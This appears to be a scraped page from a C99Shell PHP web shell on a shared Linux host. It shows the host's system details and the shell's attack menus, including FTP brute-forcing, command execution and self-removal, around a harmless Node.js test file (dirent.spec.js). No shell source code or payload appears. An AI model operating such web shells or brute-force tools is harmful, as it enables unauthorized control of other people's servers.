!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.3.27 

uname -a: Linux pdx1-shared-a4-04 6.6.104-grsec-jammy+ #3 SMP Tue Sep 16 00:28:11 UTC 2025 x86_64 

uid=6659440(dh_z2jmpm) gid=2086089(pg10499364) groups=2086089(pg10499364)  

Safe-mode: OFF (not secure)

/usr/share/nodejs/@nodelib/fs.macchiato/out/   drwxr-xr-x
Free 710.05 GB of 879.6 GB (80.72%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     dirent.spec.js (1.83 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
"use strict";
Object.defineProperty(exports, "__esModule", { value: true });
const assert = require("assert");
const dirent_1 = require("./dirent");
describe('Dirent', () => {
    it('should create a fake instance without options', () => {
        const dirent = new dirent_1.default();
        assert.strictEqual(dirent.name, 'unknown.txt');
        assert.ok(dirent.isFile());
        assert.ok(!dirent.isDirectory());
        assert.ok(!dirent.isSymbolicLink());
        assert.ok(!dirent.isBlockDevice());
        assert.ok(!dirent.isCharacterDevice());
        assert.ok(!dirent.isFIFO());
        assert.ok(!dirent.isSocket());
    });
    it('should create a fake instance with empty options', () => {
        const dirent = new dirent_1.default({});
        assert.strictEqual(dirent.name, 'unknown.txt');
        assert.ok(dirent.isFile());
        assert.ok(!dirent.isDirectory());
        assert.ok(!dirent.isSymbolicLink());
        assert.ok(!dirent.isBlockDevice());
        assert.ok(!dirent.isCharacterDevice());
        assert.ok(!dirent.isFIFO());
        assert.ok(!dirent.isSocket());
    });
    it('should create a fake instance with options', () => {
        const dirent = new dirent_1.default({
            name: 'known.txt',
            isDirectory: true,
            isFile: false,
            isSymbolicLink: true,
            isBlockDevice: true,
            isCharacterDevice: true,
            isFIFO: true,
            isSocket: true
        });
        assert.strictEqual(dirent.name, 'known.txt');
        assert.ok(!dirent.isFile());
        assert.ok(dirent.isDirectory());
        assert.ok(dirent.isSymbolicLink());
        assert.ok(dirent.isBlockDevice());
        assert.ok(dirent.isCharacterDevice());
        assert.ok(dirent.isFIFO());
        assert.ok(dirent.isSocket());
    });
});

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0678 ]--